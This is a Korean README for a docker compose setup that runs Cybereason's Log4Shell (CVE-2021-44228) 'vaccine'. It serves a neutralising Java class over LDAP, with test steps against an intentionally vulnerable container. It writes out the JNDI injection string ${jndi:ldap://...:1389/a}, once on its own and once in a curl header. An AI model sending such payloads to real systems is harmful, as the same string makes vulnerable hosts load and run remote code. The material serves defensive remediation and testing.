
log4j2 취약점 CVE-2021-44228을 위한 백신 환경을 실행하는 docker compose 솔루션
Cybereason이 제공하는 log4j 백신을 컨테이너화한 방법입니다.
이 저장소를 클론하세요:
git clone https://github.com/jeffbryner/log4j-docker-vaccine.git
containers.env 파일을 편집하여 대상이 접근 가능한 정확한 사설 또는 공인 IP/DNS를 입력하세요. 기본 항목은 아마 작동하지 않을 것입니다!
컨테이너를 빌드하고 실행하세요:
docker-compose -f docker-compose.yml -p vaccine up
이제 취약한 log4j 인스턴스를 무력화할 Log4jRCE 클래스를 제공하는 LDAP 서버가 실행 중입니다.
원한다면 ngrok을 사용하여 인터넷에 노출할 수 있습니다.
ngrok tcp 1389
악명 높은 jndi 입력 문자열을 사용하여 취약한 log4j 인스턴스를 이 서버로 보낼 수 있습니다:
${jndi:ldap://<ngrokurlgoeshere>:1389/a}
의도적으로 취약하게 만든 log4j 버전이 컨테이너로 제공됩니다:
해당 저장소의 지침에 따라 시작하고 테스트에 사용할 수 있습니다:
docker build . -t vulnerable-app
docker run -p 8080:8080 --name vulnerable-app vulnerable-app
그리고 다음 명령어로 무력화를 트리거하세요:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://your-ip-address-or-dns-name:1389/a'